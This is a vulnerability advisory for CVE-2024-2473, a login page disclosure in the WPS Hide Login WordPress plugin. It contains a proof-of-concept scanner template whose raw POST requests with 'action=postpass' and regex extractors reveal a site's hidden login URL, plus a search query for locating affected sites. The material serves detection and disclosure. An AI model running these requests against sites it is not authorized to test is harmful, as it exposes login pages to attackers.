The WPS Hide Login plugin for WordPress is vulnerable to Login Page Disclosure in all versions up to, and including, 1.9.15.2. This is due to a bypass that is created when the 'action=postpass' parameter is supplied. This makes it possible for attackers to easily discover any login page that may have been hidden by the plugin.
PoC
id: CVE-2024-2473
info:
name: WPS Hide Login <= 1.9.15.2 - Login Page Disclosure
author: popcorn94,rodtvs
severity: medium
description: |
The WPS Hide Login plugin for WordPress is vulnerable to Login Page Disclosure in all versions up to, and including, 1.9.15.2. This is due to a bypass that is created when the 'action=postpass' parameter is supplied. This makes it possible for attackers to easily discover any login page that may have been hidden by the plugin.
impact: |
Attackers can discover hidden WordPress login pages by bypassing the WPS Hide Login plugin's protection mechanism.
remediation: |
Update WPS Hide Login plugin to a version newer than 1.9.15.2.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wps-hide-login/wps-hide-login-19152-login-page-disclosure
- https://nvd.nist.gov/vuln/detail/CVE-2024-2473
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-2473
cwe-id: CWE-200
epss-score: 0.01235
epss-percentile: 0.67528
cpe: cpe:2.3:a:wpserveur:wps_hide_login:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
verified: true
fofa-query: body="/wp-content/plugins/wps-hide-login"
vendor: wpserveur
product: wps-hide-login
tags: cve,cve2024,wordpress,wp-plugin,wp,disclosure,wps-hide-login,vuln,vkev
flow: http(1) && (http(2) || http(3))
http:
- method: GET
path:
- "{{BaseURL}}"
host-redirects: true
matchers:
- type: word
part: body
words:
- "wp-content"
- "wp-includes"
condition: or
internal: true
- raw:
- |
POST /wp-login.php?action=postpass HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=lostpassword&post_password=test
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "lostpasswordform", "action=")'
- '!contains(body, "wp-login.php")'
- 'regex("<form[^>]+action=\"([^\"]+lostpassword[^\"]*)\"", body)'
condition: and
extractors:
- type: regex
part: body
name: hidden_login_url
group: 1
regex:
- '<form[^>]+action="([^"]+lostpassword[^"]*)"'
- raw:
- |
POST /wp-admin/?action=postpass HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(header, "Location")'
- 'contains_any(header, "reauth=1", "/login")'
- 'regex("(?i)Location:.*lostpassword", header)'
condition: and
extractors:
- type: regex
part: header
name: hidden_login_url
group: 1
regex:
- '(?i)Location:\s*(.+)'
# digest: 4a0a00473045022011fa520aba00851c6b7e16e18c3718c90f446b807824fcd028998d3113b3bc2e022100f078880ce7169710569c7f38a6faec30e52724ca24ab853f2f1704eac1fe376b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.